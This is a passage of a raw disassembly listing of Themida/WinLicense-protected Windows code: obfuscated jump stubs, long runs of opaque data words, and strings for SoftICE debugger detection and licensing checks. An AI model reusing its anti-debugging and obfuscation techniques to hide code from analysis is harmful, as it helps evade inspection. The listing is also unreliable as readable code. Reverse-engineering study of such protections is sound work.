482FEA81h, 75686079h, 89000038h, 8BE9241Ch db 53h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5751D7: ; CODE XREF: Themida_:00561E6Fj push esp pop ebp push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 jmp loc_571E75 ; --------------------------------------------------------------------------- dw 6859h dd 26F0h, 0FF240489h, 8B042474h, 0C4832404h, 24048F04h dd 0FF3FF0E9h, 82055FFFh, 0E9297005h, 0FFFFEE0Bh, 0F944E95Bh dd 0AFBAFFFEh, 815C8729h, 3D7767C2h, 4EC8342h, 0FF150AE9h dd 0FB295EFFh, 6D72EB81h, 34FF6A05h, 0E838E924h db 2 dup(0FFh) word_57523A dw 8B66h ; DATA XREF: Themida_:0055FDD4o dd 4E682404h, 89000069h, 0E954243Ch, 0FFFF30BAh ; --------------------------------------------------------------------------- loc_57524C: ; CODE XREF: Themida_:0057204Fj not dword ptr [esp] pop ecx or ecx, 33631A93h push esi mov esi, 7E9C592Ah jmp loc_561E3D ; --------------------------------------------------------------------------- db 5Eh, 33h, 0Ch dd 240C3124h, 5C240C33h, 0FFF5F4E9h, 4C483FFh, 8B242C87h dd 0A30F2424h, 0E99C2404h, 0FFFEAD1Bh, 42474FFh, 0FEB317E9h db 0FFh ; --------------------------------------------------------------------------- loc_57528D: ; CODE XREF: Themida_:0056CA2Cj push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ebp add esp, 4 loc_57529E: ; CODE XREF: Themida_:0056BD50j ; Themida_:0056C8ABj mov ebx, [esp] push ecx mov ecx, esp push edx push ebx jmp loc_565D8B ; --------------------------------------------------------------------------- loc_5752AB: ; CODE XREF: Themida_:00565896j push edx jmp loc_569B93 ; --------------------------------------------------------------------------- db 0B9h, 0E7h, 5Fh dd 4E916F0h, 66FFFEDFh, 0E9C8B60Fh, 0FFFF58B9h, 0E6C9815Eh dd 0C111BD6Fh, 0EC8107E1h, 4, 0BB241C89h, 7D1469Ch, 4798EB81h dd 0D9312811h, 8111E95Bh, 489FFFFh, 0AEECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5752F2: ; CODE XREF: Themida_:005634A3j push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_56637E ; --------------------------------------------------------------------------- dw 515Bh dd 0FEC7BBE9h, 5BD931FFh, 0FFFB31E9h, 6BB53FFh, 4B05AD25h dd 0FEE3ABE9h, 0E9FA89FFh, 0FFFFA225h, 8904EC83h, 6851242Ch dd 5AA416Dh, 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 4DBD242Ch dd 0E92C2174h, 0FFFFEDF2h ; --------------------------------------------------------------------------- loc_575350: ; CODE XREF: Themida_:0056F4EDj add edi, ebx pop ebx xchg edi, [esp] jmp loc_566ACB ; --------------------------------------------------------------------------- db 51h dd 0FF18D9E9h, 1F62BAFFh, 0D0012B7Ah, 0F0D8E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_57536E: ; CODE XREF: Themida_:0056C9D2j sub eax, edx pop edx add eax, ebx push 6ADBh mov [esp], esi mov esi, 66EA0755h push ebx mov ebx, 77A4415Fh add esi, ebx pop ebx xor esi, 848D5099h jmp loc_56BF79 ; --------------------------------------------------------------------------- dd 4C281h, 0C2830000h, 24148704h, 0FF4719E9h db 0FFh byte_5753A5 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FCE8o dd 0C2C0E924h, 2489FFFFh, 0DADDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5753B6: ; CODE XREF: Themida_:00574FDFj xor ebp, 6F785F82h dec ebp inc ebp xor ebp, 4CCB6AC8h sub ecx, 420A060Ch add ecx, ebp add ecx, 420A060Ch jmp loc_5682C8 ; --------------------------------------------------------------------------- db 0B9h dd 0FA3117B7h, 0E95BD901h, 0FFFFB746h, 83240C8Bh, 505504C4h dd 893980B8h, 3EADE966h db 2 dup(0FFh) word_5753F6 dw 8B66h ; DATA XREF: Themida_:0055FCD4o dd 8952240Ch, 0E95657E2h, 0FFFF10E1h ; --------------------------------------------------------------------------- loc_575404: ; CODE XREF: Themida_:00565ECAj add edx, edi pop edi jmp loc_56BA49 ; --------------------------------------------------------------------------- dd 81243C8Bh, 4C4h, 24043300h, 0E9240431h, 0FFFFC96Eh dword_575420 dd 6944E9ACh, 5456FFFFh, 0FEC51AE9h, 835854FFh, 3C8904ECh ; DATA XREF: Themida_:0055FD18o dd 0B5DDE924h, 0F766FFFEh, 0C26866D1h, 1C89665Ah, 0B9665124h dd 8966438Fh, 240C8BCBh, 0FF03B5E9h, 80E328FFh, 0C380DEEBh dd 64EB8021h, 0FF9372E9h, 0AB35E9FFh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_57546A: ; CODE XREF: Themida_:0056216Fj pop edx add ecx, eax sub ecx, 46100DC5h push eax mov eax, 0D477259h sub ecx, eax pop eax jmp loc_572A6F ; --------------------------------------------------------------------------- loc_575481: ; CODE XREF: Themida_:00564D21j add edi, 2C073315h push ebp jmp loc_5704FE ; --------------------------------------------------------------------------- loc_57548D: ; CODE XREF: Themida_:00561582j shr ah, 2 xor ah, 85h add ah, 0B9h push edx jmp loc_56E597 ; --------------------------------------------------------------------------- dword_57549C dd 2FB8E9ADh, 0C481FFFFh, 4, 0FF2B94E9h ; DATA XREF: Themida_:0055FD30o db 0FFh ; --------------------------------------------------------------------------- loc_5754AD: ; CODE XREF: Themida_:00568A74j not ecx xchg ecx, [esp] pop ecx xchg ecx, esi push ebx mov ebx, 9AEA7065h add esi, ebx mov ebx, [esp] add esp, 4 and ebp, esi jmp loc_5628C4 ; --------------------------------------------------------------------------- db 0BFh, 0A7h, 75h dd 0E7C106FCh, 0F998E908h db 0FEh, 0FFh word_5754DA dw 51ACh ; DATA XREF: Themida_:0055FEBCo dd 0EDC063B5h, 0AEE58003h, 0FF6ADEE9h, 87E950FFh, 81FFFF48h dd 4ECh, 241C8900h, 0FF10DEE9h, 3EE9FFh, 0F5700000h, 53551491h dd 32335245h, 6C6C642Eh, 56444100h, 33495041h, 6C642E32h dd 544E006Ch, 2E4C4C44h, 6C6C64h, 0A07D7h, 120004h, 1D000Ch dd 2800001h, 2 dup(0) dd 94FE9h, 0A1BE6800h, 89E90612h, 68FFFDDFh, 612A250h dd 0FDDF7FE9h, 0A38C68FFh, 75E90612h, 68FFFDDFh, 612A4ABh dd 0FDDF6BE9h, 0A50868FFh, 61E90612h, 68FFFDDFh, 612A61Ch dd 0FDDF57E9h, 0A69668FFh, 4DE90612h, 12FFFDDFh, 1AA11D60h dd 0F87F3B72h, 15A41851h, 2793572h, 0AD9B0F4Eh, 42812351h dd 1D5E0F86h, 39741AA1h, 184DF685h, 0D4D7A9A4h, 6BDEDD6Eh dd 15A32986h, 0A39D3CBDh, 51D5C102h, 33B05B75h, 0D367FC20h dd 0EB68557h, 192142CEh, 7C584A0Ch, 0CFAC88h, 36303F2Ch dd 8FD3D127h, 44CD1BAh, 0E158B2DDh, 85D8F52Ah, 98936D6Eh dd 47E910C7h, 0A20F035Fh, 3E792D13h, 0D8F2CE52h, 0F8DDE331h dd 0B5C7A37Dh, 4CF6B5CBh, 0A87E38CDh, 7B24AFCCh, 5C039246h dd 0A6B2C227h, 889CA011h, 7C11Fh, 8FD27400h, 0ADE49C1Bh dd 0CA03AA31h, 0A7E4870Eh, 0C100A433h, 71E31F0Dh, 4DCC80BFh dd 58DF5B9Ch, 34C377B2h, 0E7E2568Bh, 0DDAC1615h, 6B486BDEh dd 6104D7E1h, 0B0557420h, 0B57E5B77h, 0D82DD90Eh, 0E4DFF41h dd 1A553929h, 132F0D35h, 0F11B5239h, 0AFAB67FAh, 275EB09Dh dd 0D4FD8301h, 517693F2h, 0DB00E664h, 0F5F24B65h, 865A6F2Dh dd 2BDE0FB3h, 94213397h, 74B5586Fh, 9C0A480h, 95492D62h dd 71256006h, 0CF7CB15Ah, 4A08585Bh, 2F584155h, 0E2000007h dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h dd 6BDEDEDEh, 32F3B936h, 39504479h, 4A835D92h, 75D4EF83h dd 100EEB0Bh, 3EBB5A69h, 336AE473h, 4C53h, 7932B900h, 2028844h dd 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 0FCEF6E35h, 522C0867h dd 0F7B2E387h, 9423F04Bh, 11053CE4h, 200B5D15h, 9423F0A2h dd 4B0AE642h, 0AFB35F94h, 0EAA01793h, 8469C3AFh, 0F9D8497Bh dd 0D7926726h, 696h, 44793225h, 4627412Ah, 0BAE2604Bh dd 26026DCCh, 5D890941h, 0CC6814AEh, 5074F06Dh, 0BCB18B7Bh dd 20D5B68Ah, 0D62744BDh, 89C29C3Fh, 0C8239B30h, 0B5CBA0B4h dd 0FC0D6DF6h, 2BD46767h, 79300AF6h, 942393C9h, 9615312Dh dd 68CCB8EDh, 0B9938F93h, 620E4F02h, 0E675E9FEh, 0EF54083Dh dd 0B40EFDE8h, 50942393h, 2BDEF0D4h, 9E157369h, 803B1511h dd 7FE38FCAh, 0F168966Ah, 0F13FF40h, 92CD813Ah, 1B4E01B8h dd 1132D270h, 1A36329Eh, 69ED0A66h, 15013CF2h, 3398CD76h dd 40385935h, 0F3BA2BFBh, 0A6000005h, 8E0DC104h, 0AC2B9FD6h dd 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h, 0C102A332h dd 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDEDFCAh, 32E7AD2Ah dd 39504479h, 5D835D92h, 0CC7C14AEh, 5774F06Dh, 9F20A7h dd 174CF3C6h, 39F2076Bh, 6DCC7E90h, 9830C741h, 0C0714450h dd 0B38F937Fh, 0B710DC8Fh, 0B0F2336Bh, 58FFFFFEh, 7E32A9D7h dd 7CEA583Fh, 730A6DCCh, 9AAF93D0h, 41356A21h, 0F04FEEFh dd 2411A95Bh, 4C21457Ch, 0AFC11AB9h, 0FCA9E3FCh, 0AB1FFB67h dd 9313BF56h, 0EE35C019h, 233D0F33h, 25F44E3Dh, 1410943Ch dd 47EB4C37h, 17139E0Ch, 92D37645h, 4C5582DEh, 0AB7B0729h dd 431214E9h, 9E2C7FFAh, 2CC9681Bh, 3F8B26E1h, 149C1h dd 0BD150B00h, 6BC3B6B7h, 8F0CD99Ch, 0B48C2BBAh, 4420D40Dh dd 0C65B4E20h, 0E067FC67h, 951AC184h, 94B2C23Dh, 85845685h dd 47EA17D0h, 0B1FEF26Eh, 0E4A7B922h, 7DF9C42Ch, 0E37688E4h dd 0C453073Ch, 9181E61Bh, 0BFA010AFh, 4D4FEE7h, 0E7870000h dd 0FBB128A4h, 0DC9108C4h, 0FBB027A3h, 0D98B0ABEh, 0DC281E9Ah dd 0FFBBFAAEh, 1894D578h, 0F6B2EDA1h, 1793C87Fh, 0E1614834h dd 56BDED8h, 0BD5C1CA8h, 165D4C1Eh, 8E67FA9Ch, 1C09B970h dd 71ED9421h, 0B0CAA65Ch, 8E4A8529h, 7C286307h, 0CC71A65Dh dd 4A087730h, 773DA67Eh, 2A000004h, 12894588h, 30A7235Ah dd 0D8C4079h, 1AA11D5Ah, 85833776h, 1A590B79h, 3576179Eh dd 114C0279h, 30651E9Dh, 0FCAF917Ch, 6BDED946h, 327B419Eh dd 0E75B4E79h, 386DCC7Ch, 0C9AD5990h, 8D795DD9h, 7420550Eh dd 0FBDF7645h, 31B122D2h, 0AFCCFE90h, 0CC3457F4h, 4488836Dh dd 0B6336AEEh, 4E428123h, 74AF53D2h, 0FD31F157h, 325BFFFFh dd 63504479h, 8B758754h, 0CC7C22A0h, 665DC26Dh, 11FAF108h dd 8B6D8A66h, 0FC80AFA0h, 213B3767h, 0A3B22A2Ch, 52CEC201h dd 6D485465h, 85627EB9h, 0B8153BD1h, 2739A231h, 0ED016626h dd 0CA9F3FBDh, 486EF3B6h, 0AC8867FCh, 296207D2h, 4D48354h dd 7A7C07ABh, 0FBD00BBFh, 0BE904B6Ah, 24C19ACBh, 5C482436h dd 718B5067h, 348A7ABAh, 8B41F82Ch, 2309344Bh, 193D0227h dd 8E23E44h, 0BC6F9A51h, 28746106h, 645E7DEh, 685206EAh dd 612F9396h, 6BC72874h, 0E0FD34ECh, 0D277AC53h, 0F65D0A34h dd 6339AA7Ah, 16000003h, 0FE7D3174h, 1C9B0F46h, 29B02C65h dd 6954986h, 0C1A72362h, 36751745h, 1152F382h, 2D681E9Dh dd 4C812AB1h, 0E8A39D90h, 6BDEDA5Ah, 5C57DDBAh, 8D4C1EBDh dd 0B4CCA1D6h, 0FA9C84F5h, 19106267h, 942123A9h, 0DBF5D14Dh dd 54913605h, 6DD5C4A0h, 89942123h, 6AD8D3ADh, 8A942123h dd 14A7B98Eh, 0B7F2986Eh, 0F2981F9Bh, 13CCCBB7h, 48B779DEh dd 0D194A08h, 2E99Ch, 0A7EA9C00h, 0C5FCA433h, 0A2DB9209h dd 0BFFCAF26h, 99D88C0Bh, 0A9DB2725h, 8514C807h, 0B027A3E4h dd 8C0BBFFAh, 3F2A9ED3h, 0DAF44E3Dh, 93106BDEh, 0DC96D709h dd 6CB4837Eh, 40772DACh, 6AFBD054h, 0A0BE904Bh, 473B7419h dd 64150EEBh, 267FA5Ah, 0DE855426h, 4DD035A9h, 5951F198h dd 0B9B59422h, 0C39DC39Dh, 22597AC8h, 0A9BE9A94h, 22595602h dd 0BEB2AE94h, 3AE625C7h, 306F2198h, 4794277Ch, 76354B35h dd 942259CCh, 8070AF61h, 7EDCC7A4h, 64942259h, 0EA248067h dd 2249833Fh, 0E2076394h, 0E502855Ah, 0F34D3935h, 9792C168h dd 94228A2Bh, 7F734FCBh, 560DC6A3h, 7D537521h, 96A9C150h dd 0CCB2299h, 96D1958h, 95C067F4h, 22E82C96h, 886CC894h dd 699E45D4h, 0EF7501BDh, 67A64A11h, 1A2B7BBh, 0E71CC362h dd 0B4778973h, 9422E80Eh, 17CB8AE6h, 2F4C28DCh, 0DAC6FBA4h dd 0D6CA09BBh, 5CAE9F81h, 218403C2h, 0A1558A41h, 0F7CCA1C5h dd 0D9607E58h, 2D09FD32h, 2225C47Eh, 27442094h, 0E1C8F3ACh dd 94222561h, 11CDA985h, 0FAB1E68Ah, 94222548h, 0E094B0ACh dd 4BFDC8CCh, 0CA81180Ch, 45EAE195h, 0D1701308h, 13B291EBh dd 0E0845E12h, 254200ABh, 0C6A29422h, 567AF6AAh, 72B153E2h dd 2863077Eh, 6A946A7Ch, 222503BFh, 0D087E394h, 2F33DF1Ah dd 4BEA891Ah, 0D00BBF99h, 0E35F4A24h, 3942225h, 55274B27h dd 25C2802Bh, 9009422h, 942225B9h, 7A11015Dh, 88EC98D5h dd 50C78F6Ch, 38ED6C97h, 25AA18FFh, 49159422h, 66C41265h dd 0D188E49Ch, 1400E41Bh, 0B503A345h, 7312A14Dh, 8C4F9B2h dd 0F1A5DA91h, 0CE03BC7Fh, 1ED5EE9h, 0B0CD0193h, 4E428123h dd 6C1F411Bh, 2CB746D6h, 0EA3B69F9h, 6D255A3Bh, 8175B056h dd 660AC1A5h, 0E2F77B27h, 0DC83A241h, 374933A7h, 0B7C1CE74h dd 6EAD5F2Ch, 72EE9E82h, 0F025DE55h, 0B328AF04h, 0BB49F299h dd 61BD2687h, 3EED13EDh, 56A7CF84h, 96E70460h, 1FA3667Fh dd 0F756A7CFh, 0CA07BC7Bh, 64765AD6h, 0E4EF2FD5h, 45267B5Eh dd 0F26E223Eh dd 550803D5h, 0ED5C91EBh, 5D068571h, 0E99DDA8Dh, 6997698Dh dd 15013CF2h, 0ABD86A11h, 0E03C5894h, 1BC4530Bh, 0A56B3AE6h dd 9627130Ch, 0CAC1B5F0h, 0C336EA23h, 0A47745DCh, 6BD64FBh dd 7B578E36h, 5A8F38BFh, 6305D4A6h, 0D78C4724h, 57F9C09Ah dd 44434318h, 16B561A0h, 0C413570h, 42F4D877h, 5A1110AFh dd 0DA904B25h, 71255C04h, 42FCD1F5h, 5D70CB3h, 0A1559036h dd 0BC109FBCh, 678BD3D5h, 23039492h, 2D000000h, 35342240h dd 9F2CC633h, 0BD5BC0Fh, 9695678Bh, 4F194A2Ch, 0B58F6CC8h dd 0F49A215Fh, 0F4E02B9h, 8032723Ah, 9952493Dh, 7519B064h dd 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h dd 7830A75Bh, 57CF5541h, 0C781E789h, 4, 8704EF83h, 895C243Ch dd 8950240Ch, 405E0h, 0E8830000h, 24048704h, 243C895Ch dd 65C368h, 242C8900h, 12A12068h, 243C8B06h, 5404C483h dd 83242C8Bh, 815704C4h, 34D42434h, 458F4A9Ah, 0D4BF5708h dd 314A9A34h, 8B5F087Dh db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dw 0B7BDh dd 12A9A4B8h, 0FFC50306h, 7522E4E0h, 46264341h, 9B664461h dd 0D974F118h, 6E839h, 45C60000h, 0DC3984D2h, 6E9h, 979F3000h dd 5EF623B1h, 0FA32BB66h, 714EC681h, 14E90000h, 0E000000h dd 5A170912h, 3E48C00Ch, 371F276Ah, 0D82FB814h, 680CFE0Ch dd 0 dd 0BE9h, 79A5F100h, 8B23F4h, 7E6C4BE7h, 0D08B6658h, 81063C8Bh dd 0F66C80E3h, 0E0F78104h, 0F2A60A9h, 0EF81D9B7h, 1A6421F8h dd 14E860h, 1B7C0000h, 8CB136FCh, 9953A533h, 0D1212DEEh dd 0DFAF9E9Ah, 0DCBE25F5h, 5F3436B7h, 28F0Fh, 0CA8B0000h dd 0C2F78161h, 0E974E2E3h, 0Ah, 0D1E36502h, 697389C4h dd 3C8952D3h, 8B5A5006h, 4E883DAh, 88A0Fh, 81560000h, 687815C1h dd 0F881597Fh, 0FFFF8FC0h, 22850Fh, 0F600000h, 480h, 12B86600h dd 0D08B6611h, 36E961h, 64270000h, 625378E9h, 538C51DDh dd 760F6A56h, 3810F60h, 0F000000h, 0E1BFD6BFh, 612A193Bh dd 0FFFF4FE9h, 438399FFh, 54D275D5h, 66DEBA0Ch, 757BA001h dd 1FF75A98h, 8CE9h, 0BD836000h, 6100D39h, 5840F00h, 0E9000000h dd 77h, 3E80006Ah, 8850F30h, 6A000000h, 35E94600h, 80000000h dd 850F333Eh, 8, 0E946106Ah, 24h, 0F343E80h, 885h, 46306A00h dd 13E9h, 353E8000h, 8850Fh, 406A0000h, 2E946h, 6A0000h dd 0F203E80h, 1285h, 17E8000h, 8850F00h, 83000000h, 14E908C4h dd 8D000000h, 1014E985h, 90509006h, 6A965096h, 0F595FF00h dd 61061012h, 0E585C6C3h, 4D061023h, 39466468h, 24048138h dd 6BFC3044h, 20E5B5FFh, 858D0610h, 6103A32h, 8589D0FFh dd 61012F5h, 5C5C1EEBh, 49535C2Eh, 5C004543h, 535C2E5Ch dd 49565749h, 5C5C0044h, 544E5C2Eh, 454349h, 8D89C08Bh dd 61014B1h, 0D7DBD89h, 0BD830610h, 610158Dh, 83097500h dd 100095BDh, 19740006h, 0C08B5350h, 40FB8h, 65858900h dd 8D06100Eh, 12B8159Dh, 5BD3FF06h, 95BD8358h, 61000h dd 53501774h, 40FB8h, 65858900h, 8D06100Eh, 12B5049Dh dd 5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 90123F88h, 0B65A61CDh, 0F5C3CD80h dd 8589C08Bh, 6101DE9h, 23E585C6h, 6A430610h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h dd 0EB35C351h, 4ED9D89h, 0E9680610h, 0B54EBA7Eh, 2404819Bh dd 6DD3F013h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0B3C35747h, 0C082F08Bh, 0FFF51FAEh, 101499B5h dd 2D8D8906h, 8D06101Ch, 103A3285h, 81D0FF06h, 646FC8D1h dd 5250504Ch, 9E8h, 3C141B00h, 0B4F127h, 0CB8BACB6h, 56310F5Eh dd 5A596160h, 24048958h, 0FB9BD89h, 6A0610h, 283D8529h dd 4E80610h, 80000000h, 52000000h, 8C0F51h, 5E000000h dd 5250505Ah, 0EE860h, 0FFD40000h, 287DE6B4h, 0A39FDC26h dd 6714547Ah, 310F6159h, 448B585Ah, 52500424h, 0D98B6660h dd 9482BF66h, 8A310F61h, 8B585AF0h, 24448900h, 8647B904h dd 0E95831FCh, 9, 9BE8BE69h, 0FE54348Eh, 6AF48A84h, 81006A03h dd 262658C7h, 6A036A10h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 36E8C357h, 0B589DEB5h dd 6101E9Dh, 239F8A68h, 2434819Fh, 5F239F8Ah, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0F4C35747h, 5056C999h dd 0F312979h, 1887h, 13E900h, 0C4EE0000h, 0FBA2216Ch, 2B75C4BDh dd 0CF3CFCA9h, 0FF159F7Eh, 139D8D0Fh, 810612ACh, 5898F8E2h dd 6660500Eh, 0E9E90ABEh, 0Ah, 0B3AE4CAFh, 0E1C5E5FDh dd 8961E42Ch, 8D89241Ch, 6102ED9h, 14359529h, 0D0FF0610h dd 2598589h, 0F400610h, 28585h, 0C88B6600h, 0BDBA6660h dd 598D8B2Fh, 61061030h, 8D8B5258h, 61015A1h, 0FE99059h dd 0B0000000h, 0C07D0E20h, 84CEA393h, 0D6450235h, 90500D4Bh dd 0C4BB60h, 0BD010874h, 6101435h, 6A006A61h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 0EB2DC350h, 0A1B58B3Ch, 68061016h, 0A45B3BA5h, 138D0F60h dd 0E8000000h, 0Dh, 2C4FF843h, 50D47C1Ah, 0EB417897h, 605059F0h dd 81615A61h, 0C4DB2404h, 6A5BA4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 48049C3h, 40243845h dd 0B589682Eh, 6102A95h, 36AFB8Bh, 6AF48Ah, 7E9h, 85C5300h dd 0D0826083h, 6A036Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 190424h, 56460000h, 571F87C3h, 898FC788h, 100D91BDh dd 54E98006h, 79F8DD68h, 2404815Ah, 65860723h, 1C9D8DF5h dd 0F0612ACh, 5093D7B7h, 0EA1DE6BEh, 0EE9936Fh, 1A000000h dd 0F19FFA07h, 816B1E1Ch, 0C1D2703Dh, 0F78B664Eh, 9589D0FFh dd 61015B5h, 4B850F40h, 0F000001h, 68Bh, 0E9B50B00h, 0F806102Dh dd 14E858h, 6A310000h, 7A279F80h, 0D58BF6C0h, 57188A0Dh dd 0CB46FC4Bh, 59F9A562h, 48C0F50h, 53000000h, 895FC88Bh dd 7DBF2404h, 6A4B45DBh, 0D850100h, 68061031h, 0B8419259h dd 0B6505250h, 310F5ECCh, 4BBF5250h, 0F05F581h, 5A616031h dd 81585A58h, 6E272404h, 0AE947BEh, 0D6000000h, 7ADA74DBh dd 0DD9FB605h, 0E181608Ch, 70BA9EE5h, 0B9036A61h, 2CC087B8h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 0D5B1BFC3h, 6A036Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 180424h, 51410000h, 344D4CC3h, 4168586Dh dd 0FBEE481h, 587h, 816EB900h, 34815A90h, 0E4814124h, 49B58B7Eh dd 8D06101Dh, 12AC279Dh, 0F460BF06h, 0E95038B8h, 0Fh, 78A726D5h dd 720987F1h, 0D3DDC4E5h, 89BF47C6h, 9509241Ch, 6101CA5h dd 80B6D0FFh, 33850F40h, 0F5000000h, 498D3358h, 0E906100Ch dd 159h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0C2C35141h, 9DDCEC3Fh, 87EA8166h, 0D88BF5D7h, 13AD9529h dd 6A4B0610h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0F91EC351h, 0E8E14228h, 7, 14C88D90h dd 29C39B4Bh, 101F6995h, 0BF665E06h, 8B58AE60h, 0E585C6F9h dd 43061023h, 4D9533h, 95290610h, 6102119h, 22799F68h dd 64BE60B5h, 60525BBFh, 0CE9F98Bh, 44000000h, 557BC0D5h dd 8F40CBACh, 6191721Dh, 24048161h, 0B53D108h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 11C35040h, 876B2431h dd 99B5FFD3h, 0E9061014h, 0Bh, 2FA86AE9h, 0A8931748h, 8D7119BEh dd 103A3285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 1EB2130Fh, 0E46E1C21h, 1B2DB58Bh dd 0D0FF0610h, 93F98B66h, 6E9h, 5626B00h, 5087E1EEh, 0EE9h dd 93B83800h, 9DDE13DBh, 41EDDCDCh, 93B45F06h, 0FFF88B66h dd 39BD03D0h, 8D06101Eh, 1073A39Dh, 0BD958B06h, 0B8061011h dd 1, 4FD28166h, 89E3FF4Fh, 10051D85h, 0BC18B06h, 101929B5h dd 66C08B06h, 83F8FA8Bh, 10158DBDh, 9750006h, 95BD83h dd 74000610h, 8B535019h, 40FB8C0h, 85890000h, 610132Dh dd 0B87C9D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h dd 40FB853h, 85890000h, 610132Dh dd 0B51D9D8Dh, 0D3FF0612h, 8D09585Bh, 6101091h, 0B3BF6653h dd 0C08B5EA9h, 0AAE9h, 666F5300h, 72617774h, 69575C65h dd 63694C6Eh, 65736E65h, 65684300h, 4E496B63h, 72705800h dd 7845746Fh, 43007469h, 6B636568h, 54554Fh, 4C6E6957h dd 6E656369h, 65566573h, 6F697372h, 6957006Eh, 63694C6Eh dd 65736E65h, 76697244h, 65567265h, 6F697372h, 6957006Eh dd 63694C6Eh, 65736E65h, 74736E49h, 65636E61h, 69784500h dd 6B4F74h, 636F7250h, 50004E49h, 4F636F72h, 45005455h dd 49746978h, 7845004Eh, 554F7469h, 70540054h, 4E49h, 2 dup(0) dd 7F000000h, 0F077DDAFh, 0E977DD72h, 596h, 0B3388589h dd 858D0612h, 612B334h, 9E858D50h, 500612B2h, 168h, 4495FF80h dd 6A0612B3h, 38B5FF19h, 6A0612B3h, 8D006A01h, 12B2CD85h dd 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h, 612B334h dd 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h dd 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh, 68500612h dd 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h dd 8D006A04h, 12B2F785h, 0B5FF5006h, 612B334h, 212595FFh dd 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h dd 58D95FFh, 89C30610h, 12B33885h, 34858D06h, 500612B3h dd 0B29E858Dh, 68500612h, 80000001h, 0B34495FFh, 46A0612h dd 0B338858Dh, 6A500612h, 8D006A04h, 12B2DF85h, 0B5FF5006h dd 612B334h, 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh dd 0B5FF0612h, 612B334h, 58D95FFh, 89C30610h, 12B33885h dd 34858D06h, 500612B3h, 0B29E858Dh, 68500612h, 80000001h dd 0B34495FFh, 46A0612h, 0B338858Dh, 6A500612h, 8D006A04h dd 12B30A85h, 0B5FF5006h, 612B334h, 212595FFh, 0B5FF0610h dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh dd 89C30610h, 12B33885h, 34858D06h, 500612B3h, 0B29E858Dh dd 68500612h, 80000001h, 0B34495FFh, 46A0612h, 0B338858Dh dd 6A500612h, 8D006A04h, 12B2BA85h, 0B5FF5006h, 612B334h dd 212595FFh, 0B5FF0610h, 612B334h, 0B34095FFh, 0B5FF0612h dd 612B334h, 58D95FFh, 83C30610h, 100701BDh, 840F0006h dd 0Bh, 7019D8Bh, 0C3830610h, 0C303894Ch, 701BD83h, 0F000610h dd 0B84h, 19D8B00h, 83061007h, 38950C3h, 1BD83C3h, 61007h dd 0B840Fh, 9D8B0000h, 6100701h, 8954C383h, 0BD83C303h dd 6100701h, 0B840F00h, 8B000000h, 1007019Dh, 58C38306h dd 83C30389h, 100701BDh, 840F0006h, 0Bh, 7019D8Bh, 0C3830610h dd 0C303895Ch, 858960C3h, 612B338h, 0B334858Dh, 8D500612h dd 12B29E85h, 1685006h, 0FF800000h, 12B34495h, 8D046A06h dd 12B33885h, 46A5006h, 858D006Ah, 612B32Fh, 34B5FF50h dd 0FF0612B3h, 10212595h, 8DBD8306h, 61015h, 0C840Fh, 0B5FF0000h dd 612B334h, 0B34095FFh, 0B5FF0612h, 612B334h, 58D95FFh dd 0C3610610h, 38858960h, 8D0612B3h, 12B33485h, 858D5006h dd 612B29Eh, 16850h, 95FF8000h, 612B344h, 858D046Ah, 612B338h dd 6A046A50h, 11858D00h, 500612B3h, 0B334B5FFh, 95FF0612h dd 6102125h, 158DBD83h, 0F000610h, 0C84h, 34B5FF00h, 0FF0612B3h dd 12B34095h, 34B5FF06h, 0FF0612B3h, 10058D95h, 60C36106h dd 0B3388589h, 858D0612h, 612B334h, 9E858D50h, 500612B2h dd 168h, 4495FF80h, 6A0612B3h, 38858D04h, 500612B3h, 6A046Ah dd 0B318858Dh, 0FF500612h, 12B334B5h, 2595FF06h, 83061021h dd 10158DBDh, 840F0006h, 0Ch, 0B334B5FFh, 